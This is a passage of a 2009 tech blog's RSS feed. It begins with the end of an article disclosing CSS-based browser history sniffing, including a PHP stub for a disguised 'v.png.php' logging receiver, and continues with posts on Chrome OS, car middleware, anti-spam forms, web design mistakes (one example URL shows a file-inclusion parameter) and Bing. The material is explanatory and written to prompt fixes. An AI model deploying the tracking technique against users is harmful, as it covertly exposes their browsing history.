<p>The &#8216;v.png&#8217; file used above is the receiver of the visit detection. It is actually named &#8216;v.png.php&#8217; on an Apache/IIS server that supports leaving off the file extension of a script name (the &#8216;+MultiViews&#8217; option in Apache).</p>
<p>The <strong>code</strong> for &#8216;v.png.php&#8217; would ideally look something like this:</p>
<pre><code markup="none">
<?php
// Use this to return an actual PNG image
header('Content-type: image/png');

// this could be writing to a log file, recording stuff in a DB, etc.
maliciously_record_site($_GET["site"]); // be sure to properly sanitize the HTTP GET parameter!

// use to return an actual image:
/*
$img = fopen('./real-img.png','rb');
if($img) fpassthru($img);
*/
?>
</code></pre>
<p>There is an <strong>example</strong> of this page found <strong><a href="/css-exploit" rel="nofollow">here</a></strong>, only it doesn&#8217;t actually record any of the example links you&#8217;ve followed. PHP source code is found at the .txt symbolic link <strong><a href="/v.png.php.txt" rel="nofollow">here</a></strong> for v.png.php.</p>
<p><strong>The Fix</strong></p>
<p>Browser authors can patch this up by disallowing cross-site CSS link checking. For example, if ebay.com is checking for visited links to ebay.com, then fine. But if ebay.com is checking for links to google.com, then don&#8217;t render the CSS code violating the security measure. </p>
<p>Sub-domains are acceptable, as some sites either use massive server farms (e.g. s1.ibm.com) or other scenarios. </p>
<p>All of these options should be optionally overridden in the same fashion as the about:config file in Mozilla Firefox, as some users may need to debug this functionality after accidentally violating this in their own site. </p>
<p><strong>The Verdict</strong></p>
<p>Will it allow shellcode to enter your computer and fire up a VNC server for remote control? No.</p>
<p>Will it violate your privacy on a per-site basis? Absolutely. </p>
<p>So while not a &#8220;code-red&#8221; exploit, it is still serious enough to be considered a major bug in both the CSS standard&#8217;s oversight and in the way most browsers blindly implement the standard. Nothing in the W3C papers states against the methods for solving this issue outlined here, and it would benefit users greatly. </p>
<p>An ad within an iframe HTML element could easily use this to target advertisements based on the user&#8217;s previous browsing history, especially if using the hidden CSS attribute and outputting the ad on the fly per-request. </p>
<p>Whatever the scenario, this needs to be fixed and promptly. While not a major exploit, it is one serious enough to be considered a major invasion of privacy for users. </p>
<p>(Thanks to editor-in-chief <a href="http://thecoffeedesk.com/news/index.php/author/anthony/">Anthony</a> for both pointing this out to me initially and providing the example code. I&#8217;m a researcher, not a security expert A.K.A hacker)</p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/08/02/view-remote-browser-history/" rel="bookmark">Remotely Viewing A User&#8217;s Web History With CSS</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on August 2, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/08/02/view-remote-browser-history/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thoughts On Google&#8217;s Chrome OS</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/07/08/google-chrome-os-review/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/07/08/google-chrome-os-review/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 14:59:39 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[The Internet]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[netbooks]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[web browsers]]></category>
		<category><![CDATA[web darwinism]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=718</guid>
		<description><![CDATA[For those who may have been stranded on a deserted island for the past day or so, Google announced on its official blog the plans for Chrome OS, an operating system dedicated wholly to web browsing and (from the announcement) ONLY web browsing. Here are just a few thoughts on the plans for the new [...]]]></description>
			<content:encoded><![CDATA[<p>For those who may have been stranded on a deserted island for the past day or so, Google announced <a href="http://googleblog.blogspot.com/2009/07/introducing-google-chrome-os.html" title="Chrome Announcement">on its official blog</a> the plans for Chrome OS, an operating system dedicated wholly to web browsing and (from the announcement) <strong>ONLY web browsing</strong>. Here are just a few thoughts on the plans for the new OS, and how it will compare with other operating systems like Windows 7 and Android, all shooting for a spot on the Netbook platform.<br />
<span id="more-718"></span></p>
<p><strong>The Idea</strong></p>
<p>The basic plan for the OS is to have a non-resource-intensive layer between a specialized Chrome browser (presumably the only GUI on the device) and the netbook hardware, optimally ARM-based. </p>
<p>The underlying OS is to be a customized Linux distribution compiled and rewritten for full optimization on netbook hardware. In addition to only linking to the minimum amount of modules required to run the OS and browser, this also includes some custom code as well. </p>
<p><strong>The Developers</strong></p>
<p>Google is calling on the Open Source community for help with this currently closed-source project. How well this blows over depends on how strong the open source community is currently, which is scary when viewing both the world&#8217;s economic state and dying projects like Open Office.org and MySQL. </p>
<p>Google&#8217;s internal developers are no stranger to operating system design (particularly Linux) and doing so on embedded platforms after their venture with Android. The only difference with Chrome OS is that it has an entirely different goal than that of Windows, Mac OS (X) or even Android itself. </p>
<p><strong>Goodbye Local Machine</strong></p>
<p>I&#8217;ve been ridiculed during IRC debates for years everytime I&#8217;ve said that the web as a platform will cause the local machine to lose priority in computing, and this new venture by Google combined with cloud computing and the rise of netbooks is a testament to what I&#8217;ve been saying. </p>
<p>So far, Google has made it clear that the only higher-level program running on this OS is to be the Chrome browser. No Java runtime a la Android, no easy method of porting standard Linux/C programs, and no local focus whatsoever save for the browser. </p>
<p>This, in my opinion, is a great move considering the increasing dependence computing in general has been taking on the Web. Myself, I&#8217;ve been somewhat porting standard command-line applications to web applications via my <a href="http://anthonycargile.info/" title="Informational Website">Informational Website</a> in the hopes to further shift focus from local programs to web-based applications. </p>
<p>Google&#8217;s applications (recently taken out of Beta-status) are a continual testament to this as well, bring document processing, image editing and email interaction to a web frontend as well. </p>
<p><strong>Limitations</strong></p>
<p>This bold OS plan is not without a few limitations, however. Adobe Flash support for Linux is poorly supported at the moment, and getting Adobe to speed up the porting of Flash to both ARM and thus ARM Linux at the same time (as Apple has been trying to do) is not going to be a speedy process. </p>
<p>That said, while most programs either have a web-based equivalent or fall out of the scope of Chrome OS&#8217;s target market, there will be a few applications that still will have a need for running locally. With most games being Flash-based on the Web, this poses a problem as I can guarantee that the casual web user also views a computer as a gaming platform as well. </p>
<p>With Google owning YouTube, an Adobe partner and in my opinion Adobe&#8217;s #1 Flash supporter, this shouldn&#8217;t take too long if Google holds their feet to the fire about this issue. </p>
<p><strong>Hardware</strong></p>
<p>Google plans for Chrome OS to run on both ARM and x86 processors, with no ties to specific manufacturers as of this moment. This leaves hardware support up in the air as a crucial issue, unless Google explicitly builds Chrome OS to be tailored for each netbook it is to be distributed on.</p>
<p>And as with any netbook, 3G/global wireless Web access is a must for any phone carrier to provide, so how Google interacts with cellular providers like AT&#038;T and Verizon for both device driver authoring and OS integration will be interesting to see. </p>
<p><strong>Competition?</strong></p>
<p>When the press buzzed about Google&#8217;s internal &#8220;Goobuntu&#8221; OS, there was speculation that Google would enter the OS market, which was quickly shot down by Google PR personnel. </p>
<p>Now that they are, it seems Google is entering two new fronts with Microsoft that they never dared to enter before: the operating system and netbook markets. </p>
<p>But, you have to realize something: Windows 7 and Chrome OS have two entirely different goals. Windows 7 aims to bring the Windows OS platform to the smaller netbooks, while Chrome OS is sensible enough to only bring netbooks what they need: a dedicated web browser running atop a minimal OS for hardware interaction. </p>
<p>And even better, unless <a href="http://thecoffeedesk.com/news/index.php/archives/210" title="Windows with .NET on netbooks (.netbooks)">Microsoft utilizes a key .NET feature to take on Chrome OS for the ARM netbook market</a>, there is no way Microsoft can bring Windows and Internet Explorer to the ARM netbook scene. With ARM chips looking better and gaining support in this field, Google already has an edge. </p>
<p>So how this plays out will be interesting, but while Google already has an edge for ARM netbook market share, they have an uphill battle for support from hardware vendors and Adobe for the web-crucial Flash. </p>
<p>That said, while heavily-interactive Flash websites won&#8217;t work in the Chrome OS browser, HTML 5 has plans for a native video system that, should YouTube convert to it, allow Chrome OS and YouTube to work together until Adobe gets onboard the ARM/Linux Flash scene. </p>
<p>More on this as I get a closer look at the source code (following its release), and hopefully a full-on test of the running OS. For now, let&#8217;s just wait and see what happens as this develops. </p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/07/08/google-chrome-os-review/" rel="bookmark">Thoughts On Google&#8217;s Chrome OS</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on July 8, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/07/08/google-chrome-os-review/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>EM2P: EU-Funded Middleware API For Car Sensors</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/07/07/em2p-eu-funded-middleware-api/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/07/07/em2p-eu-funded-middleware-api/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 22:32:56 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Artificial Intelligence]]></category>
		<category><![CDATA[Consumer Electronics]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[cars]]></category>
		<category><![CDATA[EM2P]]></category>
		<category><![CDATA[EU]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[standardization]]></category>
		<category><![CDATA[too many acronyms]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=715</guid>
		<description><![CDATA[The European Union is funding a new middleware platform designed to allow higher-level software to take full advantage of the readily-available sensors in modern cars. The platform acts as an abstraction layer, providing an easy to use, higher-level API for programs to use while interpreting the resulting API calls into hardware signals for a given [...]]]></description>
			<content:encoded><![CDATA[<p>The European Union is funding a new middleware platform designed to allow higher-level software to take full advantage of the readily-available sensors in modern cars. The platform acts as an abstraction layer, providing an easy to use, higher-level API for programs to use while interpreting the resulting API calls into hardware signals for a given car-specific sensor platform.<br />
<span id="more-715"></span></p>
<p>This is a godsend for embedded developers wanting an easy to use API for accessing sensor information in a car for software manipulation. Previously, a developer had to do extensive research into the design of a given car&#8217;s sensor hardware, and write an interface for said hardware from scratch, all to simply take advantage of it via higher-level software. </p>
<p>Operating system theorists can tell you that the role of the higher-level software and that of the hardware-abstracting operating system are two completely different ballparks, and EM2P intends to further sanctify this ideology in the hopes of attracting more developers to the car software industry, similar to how the iPhone or any Java-based smartphone has done. </p>
<p>This comparison to Java-enabled platforms goes even further: different car manufacturers, regardless of their implementation of the sensors at the lower level, are able to provide developers with a true cross-platform API for the utilization of said sensors. </p>
<p>Antonio Marqués Moreno, coordinator of the EMMA project, had this to say about the platform:</p>
<blockquote><p>
One of the particular strengths of EM2P is its scalability. It only worked with one car, but it has been designed to be able to work with an entire city’s vehicle population, which offers enormous opportunities for traffic management and many other areas.
</p></blockquote>
<p>So look at it how an iPhone developer would view their target device: no longer should one have to worry about the underlying hardware and required driver software, as embedded development traditionally requires, but now developers can simply use an EM2P-utilizing application to speedily write their software and distribute it for an EM2P-utilizing car. </p>
<p>In addition to making sensor-utilizing software easier, the EM2P platform aims at encouraging wireless communication between cars and central communication centers. Although it sounds a little Big Brother-ish, it could lead to amazing things as far as extending the functionality of cars and easing the developmental method of applications accomplishing this. </p>
<p>One remaining question, though, is that with all of the tension between the EU and Microsoft, is this an attempt by the EU to go ahead and start forcing the Microsoft-populated automotive application industry to less of a monopoly , or is an effort to go ahead and standardize the application development for all cars regardless of corporate backing?</p>
<p>For Microsoft not to conform to the new EM2P platform would only add further tension between the corporate giant and the EU. </p>
<p>(<a href="http://cordis.europa.eu/ictresults/index.cfm?section=news&#038;tpl=article&#038;BrowsingType=Features&#038;ID=90703">source</a>)</p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/07/07/em2p-eu-funded-middleware-api/" rel="bookmark">EM2P: EU-Funded Middleware API For Car Sensors</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on July 7, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/07/07/em2p-eu-funded-middleware-api/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unobtrusive Antispam: Using JavaScript and Cookies Efficiently To Thwart Spammers and Hackers</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/06/09/unobtrusive-antispam/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/06/09/unobtrusive-antispam/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 02:32:44 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[The Internet]]></category>
		<category><![CDATA[Web design]]></category>
		<category><![CDATA[AntiSpam]]></category>
		<category><![CDATA[Cookies]]></category>
		<category><![CDATA[HTML DOM]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[web darwinism]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=594</guid>
		<description><![CDATA[Spam sucks, period. But how do you stop spam effectively without putting your users through any kind of inconvenience (i.e. CAPTCHAs or lame questions)? In this piece, I&#8217;ll explore methods of using JavaScript, cookies and a server-side language together to prevent automated (i.e. non-human) spam via HTML forms and HTTP POST handling.

Hiding The Form With [...]]]></description>
			<content:encoded><![CDATA[<p>Spam sucks, period. But how do you stop spam effectively without putting your users through any kind of inconvenience (i.e. CAPTCHAs or lame questions)? In this piece, I&#8217;ll explore methods of using JavaScript, cookies and a server-side language together to prevent automated (i.e. non-human) spam via HTML forms and HTTP POST handling.<br />
<span id="more-594"></span></p>
<p><strong>Hiding The Form With DOM Code</strong></p>
<p>When spambots crawl the web, downloading thousands of pages per day, they are looking for common HTML forms and elements: website, comment text, email input, etc. </p>
<p>So the first step in keeping spambots from abusing your form is pretty simple: hide it. </p>
<p>Unless your site&#8217;s form absolutely needs to be accessible to text browsers (such as lynx) for blind accessibility, building your form using JavaScript DOM code will prevent bots from viewing the form input fields directly, thus eliminating simple automated injection attacks (we&#8217;ll discuss direct HTTP POST attacks later). </p>
<p>Placing a div element with an id attribute used by an external JavaScript function to place the actual form via DOM-modifying functions is the preferred method of doing so, with a noscript tag alerting users to enable JavaScript in case of NoScript or users with JavaScript disabled. </p>
<p>This prevents most if not all Internet-wide spambots from seeing your form and its fields.</p>
<p>Now, a problem arises when one wishes to preserve form data in case of a user error. If you must verify form data within the POST handler in your server-side script, but wish to preserve input so the user doesn&#8217;t get frustrated after inputting all 20 other perfectly-valid form entries, there are some hacks for doing this:</p>
<p>My favorite, which involves my favorite server-side scripting language PHP (but easily adaptable to ASP and friends), is to pass along the valid form data within the query string back to the page and script, or to store the valid form entries within session variables. Then, after renaming your external script to script.js.php and settings the header&#8217;s Content-Type to text/javascript, you can modify the form&#8217;s DOM elements to contain the value that was previously entered. </p>
<p>This will save the user frustration should they have to enter the same form several times over due to a faulty parameter.</p>
<p><strong>Preventing HTTP POST-based attacks</strong></p>
<p>Even if you use JavaScript DOM code to present the form to the user, your form&#8217;s server-side target may still be susceptible to HTTP POST attacks due to human-intervention within the spambot&#8217;s programming. </p>
<p>A malicious user may manually look at your script to determine the form input fields by hand, then simply write a program to send inject values via HTTP POST directly (bypassing the DOM-placed &#8220;smart form&#8221; altogether). </p>
<p>With this in mind, it&#8217;s a good idea to protect the server script from direct attack as well. And the preferred method of doing this is session management, which boils down to cookie-usage. </p>
<p>Whatever your scripting language uses to preserve session variables across server-side processing, it usually entails cookie usage on the client, with a sort of hash to obfuscate the values as well as for authentication (preventing one from manually forging the cookie as well as POST data). </p>
<p>So, using PHP once again as my server-side example, start a session on the form page and set a boolean server-side session variable. This will indicate that the user actually visited the form page in the first place. When later processing the form, before doing any intensive work (i.e. database code) verify that the session variable was set, indicating that the client actually used the form before sending POST data to the server script. </p>
<p>This in conjunction with the DOM-placed form will ensure that hand-crafted bots can&#8217;t simply send B.S. POST data directly to your script, as the client must have visited the form page for POST data to be processed. </p>
<p>As a precaution, however, be sure to manually set the session&#8217;s expiration time to something reasonable via either the PHP script or via the .ini file. Otherwise, a malicious user could simply retrieve a cookie at a specified interval and then use said cookie to send many instances of bogus POST data. </p>
<p><strong>Form randomization</strong></p>
<p>Now, we return to the form again: a malicious user could <b>still</b> download a unique cookie from your site before sending forged POST data, so now we make the form unique for every submission. For this, either another server-side session variable or server-side storage is needed. </p>
<p>Insert a hidden form input field within your JavaScript DOM code. Within the server-preprocessed JavaScript code, give the field either a unique name and/or value every time the script is sent to the client, preferably using a random integer as the value. </p>
<p>Store the value in either another session variable, or even better in a database using the session id as the reference for finding it later when validating the POST data. Other methods of storing the value for retrieval are possible, as long as you can associate the random value with the session id later to ensure the value was generated (evidence that the form was used by a browser).</p>
<p>Using cookies isn&#8217;t recommended since they can (again) be forged, which this solution is attempting to prevent. This provides further evidence that the form was used by a browser. </p>
<p><strong>Spam Rule of Thumb</strong></p>
<p>Remember: while this will block probably 99% of your form-solicited spam, it will not indefinitely stop all spam from occurring. A user whom wishes bad enough to attack your site could still manually download and parse a form via a premade script.</p>
<p>It is important to realize, however, that while only 99% effective (the 1% being enough to compromise a site) this will discourage and defend against most pre-made attacks, as well as tailored attempts at compromising your site. </p>
<p>Using all of these methods together will defeat all of your site&#8217;s spam as well as low-profile attacks. Continuing to block known IP ranges and other non-spam and security practices is still recommended in addition to these methods. </p>
<p>Your users won&#8217;t notice a thing, it keeps them from using CAPTCHAs (or those lame &#8220;what&#8217;s 1 + 2&#8243; questions), and it allows them to do what they need to while you worry less about security. </p>
<p>And remember to always security-audit your website by hand every so often, protect against XSS and SQL-injection attacks, and to use secure (HTTPS/TLS) encryption for sensitive form data. </p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/06/09/unobtrusive-antispam/" rel="bookmark">Unobtrusive Antispam: Using JavaScript and Cookies Efficiently To Thwart Spammers and Hackers</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on June 9, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/06/09/unobtrusive-antispam/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>The Biggest Mistakes A Web Designer Can Make</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/06/04/web-design-mistakes/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/06/04/web-design-mistakes/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 01:32:27 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[Humor]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web design]]></category>
		<category><![CDATA[ID10T]]></category>
		<category><![CDATA[Internet Exploiter]]></category>
		<category><![CDATA[KISS]]></category>
		<category><![CDATA[list]]></category>
		<category><![CDATA[mistakes]]></category>
		<category><![CDATA[quirks-mode]]></category>
		<category><![CDATA[this isn't 1994]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=552</guid>
		<description><![CDATA[This is by no means a complete list: there are so many mistakes one can make in the process of designing and maintaining a website that listing them all would be a mistake in and of itself. These are a few general no-nos that I see all of the time when either taking over a [...]]]></description>
			<content:encoded><![CDATA[<p>This is by no means a complete list: there are so many mistakes one can make in the process of designing and maintaining a website that listing them all would be a mistake in and of itself. These are a few general no-nos that I see all of the time when either taking over a previous job or helping someone else with their own mess.<br />
<span id="more-552"></span></p>
<p><strong>Make it maintainable (KISS)</strong></p>
<p>KISS: Keep It Simple, Stupid. I know some brilliant people out there that take I/O into heavy consideration when designing a web application thanks to a large background in computer science or computer engineering. Unfortunately, the PHP/ASP.NET/CFM/whatever code they&#8217;ve written for the server is an absolute mess. </p>
<p>Frequent user-agent sniffing, cramming uncommented code into as few lines as possible, unorganized function declarations and stupid stuff like variable variables in PHP all make it that much harder to go back and add (of fix) functionality in your web app/site later. Take it from someone who&#8217;s had to clean it all up. </p>
<p>Even though it works now and you&#8217;ve met your deadline, you&#8217;ll be pulling your hair out later trying to solve a problem or add something to it. This is a bigger problem for freelancers than teams, because they are the only ones looking at the in-progress code (before the point of no return has been crossed). </p>
<p><strong>HTML Hell</strong></p>
<p>Hi, welcome to the 21st century. Allow me to hop off my hoverboard to inform you of server-side scripting, quirks-mode and semantic markup. </p>
<p>The table-based, completely static 5-page HTML website (usually complete with JavaScript blink effects and marquees) is so 1995. We&#8217;ve evolved since then: semantic markup is not only prettier to maintain, but also has SEO and speed advantages I covered in an earlier article, &#8220;<a href="http://thecoffeedesk.com/news/index.php/2009/05/21/optimizing-site-in-speed-and-seo/" title="Two Birds, One Stone: Optimizing Your site In Both Speed And SEO">Two Birds, One Stone: Optimizing Your site In Both Speed And SEO</a>&#8220;.</p>
<p>Every server-side scripting language has an include statement or &#8220;master page&#8221; feature in it. Use it. Having to change the nav bar in 25 static pages is unnecessary and stupid. And no, webmaster of 1994, frames are not an alternative, even if Digg and ow.ly are using them. </p>
<p>Using these will also have other effects for your website, including accessibility for a growing audience of mobile devices and backwards-compatibility. Quirks-mode makes a great alternative to a user-agent preprocessed website (if you&#8217;re hopefully using server-side scripting).</p>
<p>I&#8217;ve always been critical of Dreamweaver for the crap it injects into your site&#8217;s code (if using strictly the visual tool) and other nuisances. Coda and other similar web IDEs are great alternatives for code-editing. While the design of a site is the most important aspect, using a True Text Editor &#8482; is the ideal way of achieving this. </p>
<p><strong>Security</strong></p>
<p>An insecure web application might as well not exist. I run across more obvious security bugs in websites than I can believe, and many times my curiosity gets the best of me. </p>
<p>If your web application relies on HTTP GET statements, POST statements, or cookie values for sensitive information, then you violated this principle. </p>
<p>I see this type of URL all of the time in web apps: http://MyUnsecureWebsite.com/flawed.php?file=/var/www/default/MUW/file.inc&#038;user=NotAHacker. And 9/10 times you can change the parameters around to get any file you choose; but as a good citizen, I must tell you to instead email the web master and inform them of this error than to try and exploit it. </p>
<p>And it doesn&#8217;t stop there &#8211; cookies, POST values, JavaScript/AJAX requests and other parameters are frequent violations of this rule. If your web application has even a 1% chance of being exploited, FIX IT. And always sanitize user input before processing it &#8211; SQL injections are SO 2005. </p>
<p><strong>Lack of testing</strong></p>
<p>We all hate supporting Internet <s>Exploiter</s> Explorer, but <a href="http://thecoffeedesk.com/news/index.php/2009/05/26/internet-explorer-adapt-or-die/" title="Internet Explorer: Adapt or Die">we have to</a>. The same, unfortunately, is not done by newbie web designers in terms of non-IE support. </p>
<p>Just because it renders nice in one engine (Webkit, KHTML, Gecko, Trident etc.) doesn&#8217;t mean another will make it look the same, as most don&#8217;t realize. All those lame &#8220;best viewed with Internet Explorer with resolution &#8230;&#8221; captions tell me &#8220;This &#8216;webmaster&#8217; has no idea what quality design is and should be shot&#8221;. </p>
<p>So test it, fix it (look into quirks mode) and please ALL of your users. </p>
<p><strong>Client Issues</strong></p>
<p>This doesn&#8217;t even fall under the design issues &#8211; a bad or flaky client can be more of a pain than the site itself (unless it is done right). </p>
<p>&#8220;I&#8217;ll pay you from the site&#8217;s income&#8221; or &#8220;The check must have been lost in the mail <i>again</i>, I&#8217;ll send another in a few months&#8221; are both signs that you need to run away from that client <b>FAST</b>. </p>
<p>Other signs are a history of going through webmasters like a knife through butter, long periods of no communication, constant &#8220;then I&#8217;ll sue&#8221; threats, and signs of &#8220;the never ending project&#8221;. Again: run away, and don&#8217;t look back. </p>
<p>Sometimes you have to put up with annoyances like the client who thinks they&#8217;re a webmaster, etc. but if they are too flaky or generally display bad signs or give you a bad gut feeling, then be wary about doing business with them. </p>
<p><strong>Conclusion</strong></p>
<p>While these aren&#8217;t <i>all</i> of the issues a webmaster can face when making a site, they are a few of the most common I see on a day-to-day basis. Choosing a comfortable language to write a site in, keeping it maintainable, having a stable client and keeping security in mind are all steps towards making a quality website for both you and the users. </p>
<p>You can choose to join the ranks that violate these crucial steps towards a better career, but be aware that doing so not only hurts your sites&#8217; userbase, but it also has an impact on you &#8211; either directly or indirectly. </p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/06/04/web-design-mistakes/" rel="bookmark">The Biggest Mistakes A Web Designer Can Make</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on June 4, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/06/04/web-design-mistakes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Meet Bing, Microsoft&#8217;s &#8220;Google-killer&#8221; Version 3</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/06/01/bing/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/06/01/bing/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 18:31:52 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Humor]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Rants]]></category>
		<category><![CDATA[Reviews]]></category>
		<category><![CDATA[The Internet]]></category>
		<category><![CDATA[!Live]]></category>
		<category><![CDATA["Google-killer"]]></category>
		<category><![CDATA[Bing]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[harsh]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[nice try]]></category>
		<category><![CDATA[yahoo!]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=510</guid>
		<description><![CDATA[If anybody noticed, Microsoft recently relabeled Windows Live Search to Bing, it&#8217;s new name. The release was preceded by a sexy video on the new website, depicting what was apparently an idiotic housewife twitching her nose while using the &#8220;new&#8221; service. 
I&#8217;m no marketing expert, but continuously throwing money at this attempt to suffocate Google&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>If anybody noticed, Microsoft recently relabeled Windows Live Search to <a href="http://bing.com/" rel="nofollow">Bing</a>, it&#8217;s new name. The release was preceded by a sexy video on the new website, depicting what was apparently an idiotic housewife twitching her nose while using the &#8220;new&#8221; service. </p>
<p>I&#8217;m no marketing expert, but continuously throwing money at this attempt to suffocate Google&#8217;s most popular service via Internet <s>Exploiter</s> Explorer&#8217;s popularity is starting to appear kind of sad. The site promises to be more of a &#8220;decision engine&#8221;, which is a fancy term for &#8220;relabeling almost everything Google has done&#8221;.<br />
<span id="more-510"></span></p>
<p><strong>The Trail of Failure</strong></p>
<p>First, there was MSN Search, set as the default page for Internet Explorer <= 6(?) and an attempt to take over Google and Yahoo's search engine market share via Windows/IE/MSN's popularity. </p>
<p>It didn't really catch on. </p>
<p>So, enter Windows Live search: The new, sexy, web 2.0 relabeling of the same damn product, with a new interface and a separate site. The new site was set as the default search engine for IE 7, and set to be bundled with other Windows Live-branded products. </p>
<p>It didn't really catch on, either. </p>
<p>So, the geniuses behind the Jerry Seinfeld, "I'm a PC" and Mojave commercials at MS Marketing decided that the search engine needed a new, funky noun/verb name like Google and Yahoo! had. Enter Bing. </p>
<p><strong>Live, err, I mean Bing</strong></p>
<p>The site looks the same as the olde Windows Live search page. The results are just as out-of-date and non-indexed as Windows Live&#8217;s results. It still has slight interface bugs in non-IE browsers. The verdict is that it is, in fact, the same web site only with a new background image displaying the stupid Bing! name. </p>
<p>Oh, they did add some new and &#8220;innovative&#8221; stuff, though. For instance: it ranks shopping results alongside a search term for, example, &#8220;digital camera&#8221;. Oh wait, that&#8217;s not innovative &#8211; Google does the same thing. </p>
<p>Wait, come to think of it, the search suggestions, yellow-background ads at the top, simplistic homepage, customized results and other NEW AND INNOVATIVE FEATURES were also DONE BY GOOGLE before Bing! was launched/relabeled. </p>
<p><strong>And We Care How Much?</strong></p>
<p>So what&#8217;s the point? Trying to breath new interest into an old product via a new, sexy name/verb and &#8220;new&#8221; features in order to attempt to eat into Google&#8217;s primary service. I wonder how this attempt will fail, and what the new rebranding will be&#8230; </p>
<p>And one more thing, while I&#8217;m at it: &#8220;let me bing that for you&#8221;, &#8220;yeah, I binged her and found her myspace&#8221; and &#8220;I binged myself today&#8221; are NOT as catchy as the Google name/verb usage. No matter how hard you can try. </p>
<p>I think I&#8217;ll start selling dead cats on eBay. Only, when nobody buys my dead cats, I&#8217;ll start calling them &#8220;Live Dead Cats&#8221;, then relabel them &#8220;Swoosh!&#8221; in an attempt to draw up marketing. The only disadvantage is that I can&#8217;t push users to buy the dead cats via a firm grasp on another market, I guess. </p>
<p>&#8230;But I still think it would be more successful than trying to knock over Google&#8217;s search engine share, I can tell you that much. </p>
<p><a href="http://bit.ly/bingsucks" title="Bing">http://bit.ly/bingsucks</a></p>
<p>&lt;/rant&gt;</p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/06/01/bing/" rel="bookmark">Meet Bing, Microsoft&#8217;s &#8220;Google-killer&#8221; Version 3</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on June 1, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/06/01/bing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What Is A Linker And Why Do We Need It?</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/06/01/how-linker-works/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/06/01/how-linker-works/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 05:39:51 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[Humor]]></category>
		<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[diagram]]></category>
